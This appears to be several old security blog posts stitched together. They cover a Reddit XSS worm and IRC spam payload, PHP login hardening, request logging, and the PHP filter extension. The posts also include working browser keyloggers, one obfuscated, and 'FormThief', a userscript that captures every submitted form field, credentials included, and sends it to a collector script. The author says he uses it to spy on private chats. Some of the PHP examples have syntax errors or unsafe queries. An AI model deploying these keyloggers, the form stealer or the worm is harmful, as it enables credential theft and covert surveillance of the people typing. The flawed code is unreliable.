You can read the whole story here (and come back afterwards).

TLDR: the channel (through some javascript code) got link spammed in huge numbers.

The code – which you can find in the article I’ve pointed earlier – basically has an iframe, a form with an input tag (pointing to the iframe) and a small javascript code to do the magic.

What I’ve liked in the code is the way it sends the connection and “payload” to the irc server; via the following (combined) string.

x.value = '\r\nUSER '+i+' 8 * :'+n+ // user
          '\r\nNICK '+n+ // nick
          '\r\nJOIN #redditdowntime\r\n'
          +new Array(99).join(
              'PRIVMSG #redditdowntime :http://bit.ly/lolreddit\r\n'
          )+'';

And I like especially the last part of the payload, of which my first impression was that is creating 99 new lines and lastly the actual message as a way to wait while the server responded correctly.

Soon afterwards (couple of seconds, I swear) I realized that this snippet of code generates 100 messages to send.

Nice trick, I’ll remember it next time I’ll have to do a string repeat.

And as in any situation where someone needs to be blamed, this time the blame fell upon the Freenode sysadmins; and it was said in such a lovely way.

IN MY HUMBLE OPINION, (THIS IS MY OPINION AND NOT FACT):

Freenode is run by morons who can’t read IRCD config files. It is that simple.

Instead of reading the docs, freenode is switching to another IRCD to solve this “problem”. Well the problem is between the chair and the keyboard of the freenode admins. The thing you posted should not work at all against a properly configured IRCD. Instead REAL ADMINS with the practical skills of READING COMPREHENSION read the DOCUMENTS that describe the CONFIGURATION OPTIONS. And then they turn on the one feature invented in the 90s that will stop this dead.

But no, freenode has historically been run by people who don’t seem to exhibit any understanding of an IRC server or sysadmining. They will convert the entire network on the 30th to a new IRC which allows to ban users who send HTTP header to an IRC Server. Instead of reading the docs and turning on a certain option WHICH I WILL NOT SHARE HERE BECAUSE FREENODE ADMINS ARE IDIOTS AND SHOULD READ THE BLOODY DOCS.

Also firewalling with a pattern match on POST would’ve solved these problems too. But freenode admins are not the brightest admins.

And all of this because a Reddit user once owned a Digg user…. I can’t find the picture!

The (decoded) code of the worm is the following:

// generate payload/attack vector
// having trouble understanding why this works

z="[x][b]\n[b]:/["+this.innerHTML+"](/onmouseover=eval(unescape(this.innerHTML9371d7a2e3ae86a00aab4771e39d255d9371d7a2e3ae86a00aab4771e39d255d//)";

// and what's with the 9371d7a2e3ae86a00aab4771e39d255d9371d7a2e3ae86a00aab4771e39d255d ?

// "click" all reply links in page
o=document;
e=o.getElementsByTagName('a');
for(i=0;i<e.length;i++)
    if(e[i].innerHTML=='reply')
        $(e[i]).click();

// fill with payload
o=document;
e=o.getElementsByTagName('textarea');
for(i=0;i<e.length;i++)
    e[i].value=z;

// submit
e=o.getElementsByTagName('button');
for(i=0;i<e.length;i++)
    if(e[i].innerHTML=='save'&&e[i].style.display!='none')
        $(e[i]).click();

In the meantime of writing the article I tried to look for the invalid filtering in the source code, but as touching for the first time the code had no sense of direction. If someone would be kind enough to enlighten me in which file the code resides I’d be more than happy.

If not, we’ll have an unsolved mystery :)

UPDATE: worm author has happily shared its way of evading the filter.

UPDATE 2: post about the bug on the reddit blog.

console.time("first");
// some javascript code
console.timeEnd("first");

Another way would be the one which ppk suggested on his blog.

function testIt() {
    var startTime = new Date().getTime();

    // actual DOM functionality to be tested goes here

    setTimeout(function () {
        var endTime = new Date().getTime();
        var result = (endTime-startTime)/1000;
        // print result
    },10)
}

The reason why the result is printed through a different function set to run on timeout is:

(…) some browsers only applies the result of the test (i.e. the changes in the DOM you want to test) to the screen after the function has ended entirely. (…) The correct way of conducting this test is setting a timeout for reading out the end time. The function ends when the in-memory DOM manipulation has been done, which allows the browser to apply the changes.

If that’s the case, we could also use the following function for benchmarking Javascript code (a more flexible version):

function benchmark(func) {
    var startTime = new Date().getTime();
    func();
    var endTime = new Date().getTime();
    return (endTime-startTime)/1000;
}

// as for usage
time = benchmark(function() {
    // javascript code to benchmark
});

It is completely unrelated to any aspect of security, but there are some topics that just make me blog about… Anyway, very soon I’ll post on, have a few projects I’m working on lately.

The script is aimed for retrieving the emails for multiple accounts using the POP3 protocol (via SSL).

#!/usr/bin/env python

import poplib, os

users = {
    "username1":"password1",
    "username2":"password2"
}

mail_server = 'mail.hosting.com'

for user in users:
    m = poplib.POP3_SSL(mail_server)
    m.user(user)
    m.pass_(users[user])
    num = len(m.list()[1])
    for i in range(1, num+1):
        uid  = m.retr(i)[2]
        mail = m.retr(i)[1]
        if not os.access(user, os.F_OK):
            os.mkdir(user, 0777)
        mfile  = user+'/'+str(uid)+'.txt'
        mstore = open(mfile, 'w')
        mstore.write("\n".join(mail))
        mstore.close()
    m.quit()

Of course you should replace poplib.POP3_SSL with poplib.POP3 if SSL is not supported by your mail server.

Hope you find it useful… going back to work.

Tip 1: Login Page/Authentication

Let’s start with the basic example, which you can find in all those so similar tutorials… First of is the login form:

<form action="login.php" method="post">
    <input type="text" name="username" />
    <input type="password" name="password" />

    <input type="submit" name="Login" />
</form>

Very complex html code, I know. It took me around 10 minutes to write it. Now for the php script that does all the work. NOTE: In this example and all to follow we always assume a mysql connection has been made and that sessions are started.

$username = mysql_real_escape_string($_POST['username']);
$password = sha1('salt'.$_POST['password']);
$result = mysql_query(
    "SELECT id
     FROM users
     WHERE username='$username' AND password='$password'
     ORDER BY id"
);
if(1!=mysql_num_rows($result)) {
    echo 'Login failed, username or password was wrong!';
    exit;
}
$_SESSION['auth'] = true;
$_SESSION['username'] = $username;
$_SESSION['id'] = mysql_result($result, 0);
echo 'Logged in!';

If everything is clear till now than we can move onward… (with this first section I’ve done a summary of all the secure login scripts tutorials)

Tip 2: Bruteforce?

Such a rudimentary attack that people almost forget about it. And most of the time it can be invisible to the websites administrator because POST requests aren’t logged by default. You may remember this from my article Logging the HTTP requests! But I’m not going to use that, because I want to keep all this simple, as simple as possible. So then, we will assume we got a table which is cleared daily (cron?) and stores only the username in the table. One columned table. (I told you that I’m gonna keep it simple) Then the following lines would be also in the login script (before the login query):

$counter = mysql_result(
    mysql_query(
        "SELECT COUNT(*)
         FROM attempts
         WHERE username='$username'"
    ),
    0
);
mysql_query("INSERT INTO attempts VALUES('$username')");
if($counter>=10) {
    echo 'Bruteforce attempt detected or more than allowed logins per day exceeded!';
    exit;
}

As you can see the drawback for this is that while protecting the users from bruteforce attacks, it may also (and it’s likely) to lock them out. Luckily for us there is a solution for the problem. We add another column to our table attempts of type char(2) in which we store the current hour. Basically we limit the number of logins per hour.

$counter = mysql_result(
    mysql_query(
        "SELECT COUNT(*)
         FROM attempts
         WHERE username='$username'
         AND hour='".date('G')."'"
    ),
    0
);
mysql_query("INSERT INTO attempts VALUES('$username', '".date('G')."')");
if($counter>=3) {
    echo 'Max number of logins per hour exceeded!';
    exit;
}

Now it looks a little better, but still it misses something…

Tip 3: IP Ban List

You could use ban lists for various reasons, from allowing “known attackers” to blocking access via proxy. Generally people tend to use .htaccess files for blacklisting, but I will stick to PHP and MySQL for the example. NOTE: On medium to large websites a database (MySQL) – backend (PHP) application would stress pretty much the database. The following code should be inserted before the max number of logins per hour check.

$max_counter = mysql_result(
    mysql_query(
        "SELECT COUNT(*)
         FROM attempts
         WHERE username='$username'"
    ),
    0
);
if($max_counter>9) {
    mysql_query("INSERT INTO banlist VALUES('".$_SERVER['REMOTE_ADDR']."')");
}

And the following line on the first line of the script.

if(1==mysql_num_rows(
    mysql_query(
        "SELECT 1
         FROM banlist
         WHERE ip='".$_SERVER['REMOTE_ADDR']."'"
    )
)) {
    echo 'Your IP address is in the ban list!';
    exit;
}

Of course you could dump the IP Address list from time to time from the database, but the following solution is a better one because it does not involve high stress on database.

Tip 4: reCAPTCHA

CAPTCHA is a good way to protect a web page (login page, important forms) from bruteforce and CSRF attacks. But we are not talking about self made CAPTCHA’s, you don’t have to reinvent the wheel… in a cubic form. That’s right, most of those who write there own CAPTCHA’s tend to make them weak or impossible to use (yes, Rapidshare’s CAPTCHA is one of those). You should use a good and public CAPTCHA, like reCAPTCHA. Also don’t over use them, you have to think of CAPTCHA’s like door keys. It’s very good to have one to your entrance door, but having to unlock the door for every room can be quite annoying, if not frustrating.

Tip 5: Encrypted login information

You either should use SSL or (if not available) frontend encryption (hashing in our case). A good example of such an implementation would be userAtuh’s one. You can find available md5/sha1 hashing library’s written in javascript around the web. One such an example is Paul Johnston’s Javascript MD5 library which is stated to be used by Yahoo on several non SSL pages. Can’t tell if it’s true or not, didn’t check it out, but for those who know Trilulilu (especially Romanian comrades) I can tell you that they implemented it in their flash player, for “encrypting” the source of their media (did I say too much?=).

Tip 6: Legitimate Requests (CSRF free)

As mentioned before excessively using CAPTCHA may be annoying, except in the case that the admin panel is designated for only one person (yourself) and you can bare completing on every important request a CAPTCHA field. For the other cases you could take a similar approach. On request of a page with an important form you could generate the token in the following way.

$_SESSION['token'] = sha1(rand());

And inside the form you could place it like…

<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>" />

While in the form processing page you should deal with it as in the following code.

if($_SESSION['token']!=$_POST['token']) {
    exit;
}
$_SESSION['token'] = sha1(rand());

Also a better way would be by using mt_rand() and seeding it with a secret method. Like for example the sum of the numbers from the session id.

Tip 7: Protect your includes/secure pages

If you develop your web application in a similar manner as myself than probably you include the admin pages, rather than use one single over bloated file. And it’s a common mistake to not protect those files from direct access. I’ve seen cases of obscure naming of the files, which are not secure if the attacker can get directory information in a way or another. Although are very interesting. Why? Because security by obscurity can be very fun an creative, even useful sometimes if build on top of a secure design. Like for example when using a MySQL database (version 4, so no information_schema database available) and obscuring the table names. Coming back to our subject, you could protect your included files by using the following line of code.

if(!defined('PROTECTED')) { exit; }

While defining the PROTECTED constant in the script which includes the files (which we assume you protect). You can secure your main files (those who include files) in a similar way.

if(!$_SESSION['auth']) { exit; }
define('PROTECTED', true);

Tip 8: Password Change

When making a password change functionality don’t forget to ask the user for their current password. Many think that if a user is logged in and no CSRF could take place they are safe and thus don’t need to ask them for their current password. It’s wrong to think like that because Session Riding attacks are more frequent than you think. And it’s not such a big deal of doing this, it only takes an extra where clause in the update syntax.

$old_password = sha1('salt'.$_POST['old_password']);
$new1 = sha1('salt'.$_POST['new1']);
$new2 = sha1('salt'.$_POST['new2']);
if($new1!=$new2) {
    echo 'Your new passwords do not match!';
    exit;
}
if(mysql_query(
    "UPDATE
     SET password='$new1'
     WHERE id='".$_SESSION['id']."'
     AND password='$old_password'"
)) {
    echo 'Password successfully changed!';
}
else {
    echo 'Password couldn\'t be changed!';
}

Tip 0

This are the most common approaches which should be taken when coding login scripts/admin panels. Also they are the most common neglected aspects. Kind of paradoxical in a way. And that;s not all, if we think of HTTP Redirects which by the way haven’t been treated because latest versions of PHP protect you against HTTP Response Splitting. Another thing I didn’t treat was XSS, which I think (and maybe you would approve) doesn’t make a part of this subject, it concerns the way you implement functionality in your pages. I often wonder why even give power to the user, like for example in a comment form. Why give him even the ability to post link (and convert them to link)?

Anyway, as you can see I didn’t post a ready to use script/class because I wanted you to understand the concept behind login/admin panel security. Not just copy-paste the code and cross your fingers that it will work.

UPDATE: On Ronald’s suggestion I replaced the md5 hashes with sha1 hashes, even salted them. Also modified the MySQL code to order the result by id, just in case there where two accounts with the same login information (which shouldn’t, if you properly did the checks in the registration page, if uses any).

Logs, and I’m speaking about logging the HTTP requests, can help you very much. With the use of logs you can predict defacements: someone constantly trying to inject sql commands, who knows, maybe he’s on to something. Also these logs could help you prevent bruteforce attacks (if such protections weren’t implemented in the original login scripts). Needless to say that it will help you (probably) trace back a dumb attacker.

A rudimentary logging system would look something like this (assuming that a mysql connection has been made before):

function sqle($in) { return mysql_real_escape_string($in); }
function start_log() {
    $referer = sqle($_SERVER['HTTP_REFERER']);
    $uagent  = sqle($_SERVER['HTTP_USER_AGENT']);
    $iproxy  = sqle($_SERVER['REMOTE_ADDR']);
    $exactly = date('r');
    $model   = "INSERT INTO <TABLE> (iproxy, referer,
        uagent, exactly, data) VALUES ('$iproxy',
        '$referer', '$uagent', '$exactly', '<DATA>')";

    if(isset($_POST)) {
        $data  = sqle(serialize($_POST));
        $query = str_replace('<DATA>',$data,$model);
        mysql_query(str_replace('<TABLE>','postlog',$query));
    }

    if(isset($_GET)) {
        $data  = sql(serialize($_GET));
        $query = str_replace('<DATA>',$data,$model);
        mysql_query(str_replace('<TABLE>','getlog', $query));
    }
}

As you can see we have two tables declared in the same way, one named ‘postlog’, while the other ‘getlog’. From this point on you can make scripts that will check for xss, sql injection, lfi/rfi attempts.

I, for example, use it to track those trying to bruteforce my login credentials. And for monitoring wrong entered passwords, if any.

Another thing to note is that the script logs everything passed via a request, so it’s not recommended to add on login pages without setting an exception for the password field.

Another security enchantment would be to have the tables inside another database than the one you’re using for the website, so in case of an SQL injection no sensitive log data would be revealed (sensitive if you wouldn’t add exceptions as mentioned above). And how it would be this the best way to achieve? By adding a mysql connection to the example above. Upon inclusion the code executed would be the following

//some general inclusion you make
//include logger.php (this is our script expanded)
function sqle($in) { ... }
function start_log() {
    $handle = mysql_connect('host','user','pass');
    mysql_select_db('logDB', $handle);
    ...
    if(isset($_POST)) {
        ...
        mysql_query(
            str_replace('<TABLE>','postlog',$query),
            $handle
        );
    }
    if(isset($_GET)) {
        ...
        mysql_query(
            str_replace('<TABLE>','getlog',$query),
            $handle
        );
    }
    mysql_close($handle);
}

Another thing to note, is that the user of the website database shouldn’t have rights upon the log database. You should create a special user just for the logging part.

Also if you like automated stuff, as I do, you would love a logrotate-like implementation which you could cron:

mysql_connect('host','user','pass');
mysql_select_db('logDB');

$date = date('Y-m-d');
$path = '/home/logs/';
$file  = $path.'default.txt';
$query = "SELECT * FROM <TABLE> INTO OUTFILE '$file'
         FIELDS TERMINATED BY ' ' LINES TERMINATED BY 'n'";

mysql_query(str_replace('<TABLE>', 'getlog', $query);
rename($file, $path.$date.'(GET).txt');

mysql_query(str_replace('<TABLE>', 'postlog', $query);
rename($file, $path.$date.'(POST).txt');

About logs (and logging) that’s it for the moment. Maybe I’ll do another time an article about analyzing HTTP logs.

Another thing I wanted to mention, is that there is a similar approach found on the web via a wordpress plugin. Wanted to share it but unfortunately didn’t find it while writing the article.

P.S. Didn’t write the table creating syntax, but you can do it yourself. Not much into it, a bunch of varchar fields…

UPDATE: did some minor editing, upon renaming the files they would have been put in the scripts executing directory.

Having some time at hands today, I decided to make one myself. Basically I made it under three steps (was specially thought for a post). First of all this was the starting point of it, a.k.a. typical javascript keylogger:

var keys='';
document.onkeypress = function(e) {
	get = window.event?event:e;
	key = get.keyCode?get.keyCode:get.charCode;
	key = String.fromCharCode(key);
	keys+=key;
}
window.setInterval(function(){
	new Image().src = 'http://localhost/junkylogger.php?keys='+keys;
	keys = '';
}, 1000);

As you can see from the code a javascript keylogger is quite simple. Attach a function to the key pressing event, extract the character (the code of it) in the event and save it into a variable. Also declare a function (within an interval) that will send the logged keys to the backend which will save it into file/database.

As malefic as it seems you should be real lucky to succeed in using it as a relevant keylogger. It would be a good module in an XSS worm. Wanting more from a keylogger, I moved onward to GreaseMonkey which allows me to have a functional keylogger on every website I wish. Most of it it’s the same, difference is that I used GM_setValue/GM_getValue for storing the keys and had to use unsafeWindow for accesing the key pressing event.

GM_setValue('keys', '');
unsafeWindow.onkeypress = function(e) {
	eventobj = window.event?event:e;
	key = eventobj.keyCode?eventobj.keyCode:eventobj.charCode;
	keys = GM_getValue('keys');
	keys+= String.fromCharCode(key);
	GM_setValue('keys', keys);
}

window.setInterval(function(){
	new Image().src = 'http://localhost/junkylogger.php?keys='+GM_getValue('keys');
	GM_setValue('keys', '');
}, 1000);

download/install/view

The next step was to give it a more obfuscated look, just to give a harder life to all those who understand Javascript to the minimum and take a look at the source of the script.

window.wrap = window;
wrap.strf = String.fromCharCode;
wrap.wind = strf(117,110,115,97,102,101,87,105,110,100,111,119);
wrap.ev   = strf(111, 110, 107, 101, 121, 112, 114, 101, 115, 115);
GM_setValue('q','');
Function('func', wind+"."+ev+" = func")(function(e) {
	e=window.event?window.event:e;
	k=e.charCode?e.charCode:e.keyCode;
	k=GM_getValue('q')+strf(k);
	GM_setValue('q', k);
});
wrap.loc = strf(104, 116, 116, 112, 58, 47, 47, 108, 111, 99, 97, 108, 104);
wrap.loc+= strf(111, 115, 116, 47, 106, 117, 110, 107, 121, 108, 111, 103, 103, 101);
wrap.loc+= strf(114, 46, 112, 104, 112, 63, 107, 101, 121, 115, 61);
window.setInterval(function(){new Image().src=wrap.loc+GM_getValue('q');GM_setValue('q','')},1000);

download/install/view

No, by downloading this you won’t have all your keystrokes logged (unless someone hacked the server and replaced it) because for testing I’ve used a php file on my localhost for logging, and that remained in the examples also.

If you are new at Javascript/Userscripts the following links may be helpful to you: Dive Into GreaseMonkey, GreaseSpot and Javascript eBooks. And yes Userscripts are also available for IE/Opera…

Filters

In the filters extensions we have 3 types of filters: validate, sanitize and other filters. Let’s take em each separately and see what the extension has to offer us.

Validate Filters
• Data Type Validation
  • FILTER_VALIDATE_BOOLEAN

    Validates if the specified variable/value is a boolean value.

  • FILTER_VALIDATE_FLOAT

    Validate if the specified variable/value is of type float.

  • FILTER_VALIDATE_INT

    Besides the fact that it validates integers it allows you to specify a range in which the specified variable or value should be. It also allows you to validate octal and hexadecimal numbers.

• String Validation
  • FILTER_VALIDATE_EMAIL

    Validates if the variable/value is a well formed email address.

  • FILTER_VALIDATE_IP

    Can be used for validating IPv4/IPv6 addresses, having flags to disallow reserved/private IP ranges.

  • FILTER_VALIDATE_REGEXP

    Validates variable/value with regular expressions.

  • FILTER_VALIDATE_URL

    Validate URL’s. I wouldn’t recommend it though, since it validates 'http://...'. Better of with regular expressions here.

Sanitize Filters
• FILTER_SANITIZE_EMAIL

  I highly recommend to not use this filter, because it won’t sanitize the email address. The characters !#$%&'*+-/=?^_`{|}~@.[] will remain intact.

• FILTER_SANITIZE_ENCODED

  URL-encode string, optionally strip or encode special characters.

• FILTER_SANITIZE_MAGIC_QUOTES

  Applies addshashes() to the specified variable/value. Seriously, shouldn’t this be extinct already. I though we should have left them behind once we moved away from PHP 4.x. Try to not use this one, because in some SQL systems backslashes are not escape characters.

• FILTER_SANITIZE_NUMBER_FLOAT

  Remove all characters except digits, +- and optionally .,eE.

• FILTER_SANITIZE_NUMBER_INT

  Remove all characters except digits, plus and minus sign.

• FILTER_SANITIZE_SPECIAL_CHARS

  HTML-escape '"<>& and characters with ASCII value less than 32, optionally strip or encode other special characters.

• FILTER_SANITIZE_STRING

  Strip tags, optionally strip or encode special characters.

• FILTER_SANITIZE_STRIPPED

  Alias for the above filter.

• FILTER_SANITIZE_URL

  Remove all characters except letters, digits and $-_.+!*'(),{}|^~[]`<>#%";/?:@&=.

• FILTER_UNSAFE_RAW

  Do nothing, optionally strip or encode special characters.

Other Filters
• FILTER_CALLBACK

  Call user-defined function to filter data.

As you must have noticed the sanitizing filters are pretty bad, some even repetitive. Although haven’t marked red all of them, I surely won’t use them. For sanitizing (against XSS) I’ll use good old strip_tags() combined with htmlspecialchars() because this way I can define quote style encoding, and charset in which to encode. As for safe SQL queries, I use db specific functions.

Functions

Ok, so we had some complains about the filters. But let’s look beyond that for a moment and see what the filtering functions have to offer us.

• filter_has_var

Through this function we can check if a POST, GET, ENV, SERVER, COOKIE value has been set.

if(filter_has_var(INPUT_POST, 'submit')) {
  echo 'yes the submit value has been set';
}

Although this might seem similar to a isset() usage, be not fooled by it. It (probably) takes a snapshot of all the superglobals (POST, GET, ENV, SERVER, COOKIE) so…

/*
 submit isn't set
*/
$_POST['submit']=1;
if(filter_has_var(INPUT_POST, 'submit')) {
  echo 'this will not be echoed';
}

Is this a good thing? Well, it depends. Haven’t seen till now somebody who controlled the flow of the application (in a script) through setting/unsetting a value in the superglobals, but I have seen hand coded register_globals implementation (for backwards compatibility) in PHPList which permitted that the SERVER['file'] (named something like that) to be overwritten and making it vulnerable to remote file inclusion. So in that particular scenario it would have helped.

• filter_id and filter_list

One returns the numeric value of a filter, while the other returns a list of filters… moving on.

• filter_input and filter_input_array

The (ONE) function for the “Data Filtering Extension”. I’ll post an example from the documentation.

$search_html = filter_input(
    INPUT_GET,
    'search',
    FILTER_SANITIZE_SPECIAL_CHARS
);
$search_url = filter_input(
    INPUT_GET,
    'search',
    FILTER_SANITIZE_ENCODED
);

echo "You have searched for $search_html.\n";
echo "<a href='?search=$search_url'>Search again.</a>";

• filter_var and filter_var_array

It works in the same way as filter_input, just that now you can use the filters on variables/string… these examples are also from the documentation.

// will validate
var_dump(filter_var(
    'bob@example.com',
    FILTER_VALIDATE_EMAIL
));

// will fail (return false), because it
// misses the scheme (http://)
var_dump(filter_var(
    'example.com',
    FILTER_VALIDATE_URL,
    FILTER_FLAG_SCHEME_REQUIRED
));

Should I use it?

Well, can’t say for sure. The validation filters seem pretty good unless you count the URL one… actually that could be a good filter also if you shouldn’t add 3 flags to behave like you normally would expect…

The other reason why I can’t pronounce a final answer (maybe someone who reads this will) because I haven’t checked the source code of the extension…

You have more information about it (not quite that big of a difference) from the online documentation page found here. Waiting your opinion on this one…

Update: Chuck Norrises was here and updated the text, removing my opinion of vulnerable code. eof!

Last userscript I wrote was a keylogger, which seems that a lot of people have liked, and which for the most common of its use was an overkill.

Why overkill? Because most of those (if not all) who search for a keylogger will use it for stealing credentials. That was also my reason for writing it in the first place, although recently use it for spying web based IM conversations >:). Also may have been circumvented by most common anti-keylogger tricks, like on-screen keyboards.

FormThief (that’s how I named the userscript) even if not perfect, a.k.a. authentication fails in places where forms have an associated an action on the submit event (such example may be login.yahoo.com) will be quite enough for most of the cases you’ll want it. The script has the following code:

(function(){
    var num = document.forms.length;
    for(var i=0;i<num;i++) {
        unsafeWindow.document.forms[i].addEventListener('submit', function(e) {
            var form = e.currentTarget;
            var num = form.length;
            var send = '?';
            for(var i=0;i<num;i++) {
                send += form[i].name + '=';
                send += form[i].value + '&';
            }
            send += 'ThiefedURL=' + unsafeWindow.location;
            new Image().src = 'http://127.0.0.1/fj.php'+encodeURI(send);
            return true;
        }, true);
    }
})()

view/install

As in the junkylogger have used unsafeWindow for accessing the content, and the Image object to send the logged/hijacked data. As for the logging php file you could take the same approach as I did:

$str = "\n\n";
foreach($_GET as $key=>$val) {
    $str .= $key.'['.$val.']'."\n";
}

$fp = fopen('data.txt', 'a');
fwrite($fp, $str);
fclose($fp);

Nothing new in the concept, just wanted to share it with you because I felt that it is a good addition to the Userscript keylogger, completing it where it could have failed and vice versa. With well crafted @include, @exclude metadata’s the two userscripts can make wonders, at least for me ;)

UPDATE: modified the userscript, attached the function as kl suggested, know it works in any page (even login.yahoo.com). Also now appending the ThiefedURL parameter to see in the logs which form was hijacked.

And ignoring this warning is half as bad as having a sql injection vulnerability. Even if home users no longer are a part in a shared network thus sniffing is highly improbable, companies have LAN’s which would make a sniffing attack possible (if the sysadmin didn’t do his job). Throwing away all your security implementations, password enforcements…

SSL is the solution for this case but isn’t necesarily needed. Here comes in userAtuh. Yes it’s a typo, but who cares how it’s called as long as it does a great job?

UserAtuh is a php/js library used for serverside/client side password encryption, ment to mask the password sent by login forms. You can download it from it’s project page on SourceForge.

How does it work? Actually it’s quite straight forward, but I could better show it’s working by pointing out the key portions of code.

It all starts with the login form with has defined to the on submit event assigned to the setEncryption() function, which: hashes the password, joins it with the username and key and double hashes the result storing it in a hidden input field.

Upon form submision the only two values that are requested are the username and the result of the setEncryption() function. The rest is ignored. Forgot to mention that the setEncryption() function also changes the password from the input field with a substring of its result.

The authentification is done by the function with the same name from the KeyHandler object:

public function authenticate($name,$encodedPass,$sha1=true){
    //get the last key that was generated for this
    //session
    $ip = getenv('REMOTE_ADDR');
    $key  = $this->_dba->getKeyFromDB($ip);

    //check if a user exists with this name
    if ($this->_dba->userExists($name)==false) return false;    	

    //retrive the password for the user
    $pass = $this->_dba->getPass($name);

    //make sure password is hashed
    if (!$sha1) $pass = sha1($pass);

    //create a hashed string from the date collected
    $encoded = sha1(sha1($pass.$name.$key));

    //generate a new key, so the last key won't be usable
    $this->generateKey();

    //check the hashed string with the key sent by the
    //client side
    return ($encodedPass==$encoded);
}

Simple, easy, useful. It’s implementation can take at maximum a couple of minutes. Quick and painless, just as I like ‘em.